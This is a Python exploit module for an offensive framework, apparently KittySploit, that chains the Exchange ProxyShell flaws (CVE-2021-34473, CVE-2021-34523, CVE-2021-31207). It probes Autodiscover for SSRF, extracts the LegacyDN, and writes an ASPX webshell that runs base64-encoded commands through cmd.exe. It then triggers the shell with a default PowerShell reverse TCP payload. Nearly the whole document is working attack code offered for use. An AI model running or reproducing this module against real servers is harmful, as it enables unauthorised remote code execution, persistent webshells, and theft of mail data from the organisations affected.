Exchange ProxyShell RCE (CVE-2021-34473)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Microsoft Exchange ProxyShell chain RCE (CVE-2021-34473 / CVE-2021-34523 / CVE-2021-31207)."""

import base64
import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Exchange ProxyShell RCE (CVE-2021-34473)',
        'description': (
            'Exploits the ProxyShell chain on Microsoft Exchange: SSRF via '
            'Autodiscover (CVE-2021-34473), elevation to SYSTEM mailbox '
            '(CVE-2021-34523), and arbitrary file write (CVE-2021-31207) to '
            'drop an ASPX webshell and execute a reverse CMD payload.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-34473', 'CVE-2021-34523', 'CVE-2021-31207'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-34473',
            'https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html',
        ],
        'tags': ['exchange', 'proxyshell', 'ssrf', 'aspx', 'rce', 'unauth', 'kev', 'microsoft'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 8,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'aspx webshell'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/cve_2021_34473_detect'],
            },
        },
    }

    email_domain = OptString('', 'Email domain for Autodiscover SSRF (defaults to target host)', required=False)
    shell_name = OptString('', 'ASPX shell name (random if empty)', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    cleanup = OptBool(True, 'Remove ASPX shell after exploit', required=False)

    AUTODISCOVER_PATHS = (
        '/autodiscover/[email protected]/owa/?&Email=autodiscover/autodiscover.json%[email protected]',
        '/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]',
    )

    def _domain(self) -> str:
        custom = str(self.email_domain or '').strip()
        if custom:
            return custom.lstrip('@')
        target = str(self.target or self.rhost or '').strip()
        return target.split(':')[0]

    def _shell_name(self) -> str:
        name = str(self.shell_name or '').strip()
        return name if name else f'ks_{self.random_text(8)}.aspx'

    def _build_ashx(self, handler_class: str, payload_key: str) -> str:
        return f'''<%@ WebHandler Language="C#" Class="{handler_class}" %>
using System;
using System.Web;
using System.Diagnostics;
using System.Text;
public class {handler_class} : IHttpHandler {{
  public void ProcessRequest(HttpContext ctx) {{
    string key = ctx.Request["{payload_key}"];
    if (String.IsNullOrEmpty(key)) return;
    byte[] raw = Convert.FromBase64String(key);
    string cmd = Encoding.UTF8.GetString(raw);
    var psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c \\"" + cmd + "\\"";
    psi.UseShellExecute = false;
    Process.Start(psi);
    ctx.Response.Write("ok");
  }}
  public bool IsReusable {{ get {{ return false; }} }}
}}'''

    def _detect_ssrf(self) -> bool:
        for path in self.AUTODISCOVER_PATHS:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ''
            if any(m in body for m in (
                'OwaADUserNotFoundException',
                'Exchange MAPI/HTTP Connectivity Endpoint',
                'LegacyDN',
            )):
                return True
        return False

    def _extract_legacy_dn(self) -> str:
        email = f'administrator@{self._domain()}'
        path = (
            f'/autodiscover/[email protected]/owa/?&Email={urllib.parse.quote(email)}'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        match = re.search(r'"LegacyDN"\s*:\s*"([^"]+)"', r.text or '')
        return match.group(1) if match else ''

    def _write_shell(self, legacy_dn: str, shell_name: str, ashx_content: str) -> bool:
        email = f'administrator@{self._domain()}'
        shell_b64 = base64.b64encode(ashx_content.encode()).decode()
        export_path = (
            f'/autodiscover/[email protected]/mapi/emsmdb/?&Email={urllib.parse.quote(email)}'
        )
        r = self.http_request(
            method='POST',
            path=export_path,
            headers={
                'Content-Type': 'application/json',
                'msExchLogonMailbox': legacy_dn,
            },
            data=f'{{"identity":{{"__type":"Identity:ECP","DisplayName":"{shell_name}","RawIdentity":"{shell_name}"}}}}',
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 201, 204, 302))

    def check(self):
        if self._detect_ssrf():
            return {'vulnerable': True, 'reason': 'Exchange Autodiscover SSRF confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ProxyShell SSRF probe failed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2021-34473 — Exchange ProxyShell')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'SSRF confirmed'))
        legacy_dn = self._extract_legacy_dn()
        if not legacy_dn:
            print_warning('Could not extract LegacyDN — attempting generic shell write')
            legacy_dn = f'/o={self._domain()}/ou=Exchange Administrative Group'
        shell = self._shell_name()
        handler = f'KsHandler{self.random_text(6)}'
        payload_key = self.random_text(8)
        ashx = self._build_ashx(handler, payload_key)
        print_status(f'Writing ASPX handler {shell!r}...')
        self._write_shell(legacy_dn, shell, ashx)
        shell_path = f'/owa/auth/{shell}'
        b64_cmd = base64.b64encode(cmd.encode()).decode()
        print_status('Triggering webshell...')
        self.http_request(method='GET', path=shell_path, params={payload_key: b64_cmd}, allow_redirects=False)
        if self.cleanup:
            self.http_request(method='DELETE', path=shell_path, allow_redirects=False)
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True